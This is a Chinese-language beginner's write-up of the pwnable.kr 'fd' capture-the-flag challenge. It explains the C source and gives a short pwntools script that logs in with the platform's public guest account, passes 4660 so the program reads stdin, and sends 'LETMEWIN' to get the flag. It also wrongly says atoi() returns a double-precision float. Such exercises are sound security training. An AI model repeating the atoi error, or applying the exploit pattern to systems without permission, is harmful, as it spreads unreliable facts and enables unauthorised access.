fd

 

人生第一次pwn

一、前言:

最近在疯狂找pwn入门基础。群上的师兄说,最好的入门就是找几道ctf的题目复现别人的wp,所以开始接触pwnable.kr(这是我在i春秋幻泉师傅的CTF入门视频中找到的一个pwn平台),

希望通过这个平台的题目,可以让我对pwn,有所了解。(路过的大佬请忽视小菜)

 

ssh连接进去即可

 

PS:flag文件无权限读取。

 二、分析源码:

 

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 char buf[32];
 5 int main(int argc, char* argv[], char* envp[]){
 6     if(argc<2){
 7         printf("pass argv[1] a number\n");
 8         return 0;
 9     }
10     int fd = atoi( argv[1] ) - 0x1234;
11     int len = 0;
12     len = read(fd, buf, 32);
13     if(!strcmp("LETMEWIN\n", buf)){
14         printf("good job :)\n");
15         system("/bin/cat flag");
16         exit(0);
17     }
18     printf("learn about Linux file IO\n");
19     return 0;
20 
21 }

1、

(1)、编译预处理命令:

#include <stdio.h>   #include <stdlib.h>  和#include <string.h> 是程序在编译之前要处理的内容,称为编译预处理命令。

其都以#开头,并且不用分号结尾。

头文件是拓展名为.h的文件,包含了C函数声明和宏定义,被多个源文件中引用共享。

(2)、头文件:

stdio.h是头文件,标准输入输出函数库。

stdlib.h 头文件,即standard library标准库头文件,stdlib里面包含了C语言最常用的系统函数,包含了C语言标准库函数的定义。

string.h头文件,包含了字符串处理函数。

2、char buf[32];

临时申请了一个32字节大小的名为buf的数组。

3、int argc,char* argv[],char* envp[]

(1)int argc:获取参数个数

在命令行输入情况下,命令行总的参数个数。

C:\>test.exe 1 2 3

可执行文件名+参数1,参数2,参数3,argc的值一共为4。

(2)char* argv[]:获取参数

获取所输入的参数。argv[0]是文件名、argv[1] = 1即第一个参数,以此类推。

(3)char* envp[]:获取系统环境变量

获取系统环境变量

4、程序主体

(1)如果程序没有输入数字,则提示输入数字。


(2)
atoi()函数的作用是将字符串转为双精度浮点型值
fd = 输入的第一个数字的双精度浮点型值-0x1234 (0x1234=4660)


(3)read(fd,buf,count)
fd:文件描述符,用来指向要操作的文件的文件结构体。

但:fd == 0 为标准输入,fd == 1 为标准输出,fd == 2为标准错误输出。
buf:一块内存空间
count:希望读取的字节数
read(fd,buf,32):从fd文件中读取32个字节传到buf中


(4)
strcmp(str1,str2):比较两个字符串,<0即str1<str2。其他类推。
system(command):执行系统命令
exit(0):退出

 三、利用代码:

1、利用思路:

目标:system("/bin/cat flag")
需要:strcmp("LETMEWIN\n",buf) = 0
则:buf = "LETMEWIN\n"
所以:read(fd,buf,32)中,fd ==0
需要:argv[1] == 0x1234即4660
总结:运行该程序,首先输入4660改变read()函数为输入状态,然后输入满足达到目标条件的"LETMEWIN\n"。

3、利用代码:

1)、pwntoolsg官方文档

2)

1 from pwn import *
2 ssh_fd = ssh(host ='pwnable.kr',user='fd',password='guest',port=2222)
3 print(ssh_fd.connected())
4 exe = ssh_fd.process(argv=['fd','4660'],executable='./fd')
5 exe.sendline('LETMEWIN')
6 print(exe.recvall())

3)解释:

ssh(host,user,password,port):ssh连接。

connected():连接成功已否的查看

process(argv,executable):argv,进程的参数。executable,执行文件的路径。

附:remote('url',port):远程打开指定url的端口。

sendlie():发送一行数据,在后面加上了\n。

附:send(data):发送数据。

recvall() :接收EOF

附:recvrepeat(timeout=default):接收EOF或timeout

四、整体总结:有待提高

1、C语言

2、python的pwn库

3、常见的pwn技巧

五、参考链接:

https://www.cnblogs.com/spd2016/p/5487683.html

https://blog.csdn.net/u010334666/article/details/81192987

猜你喜欢

转载自www.cnblogs.com/beiweisanshidu/p/10241979.html
fd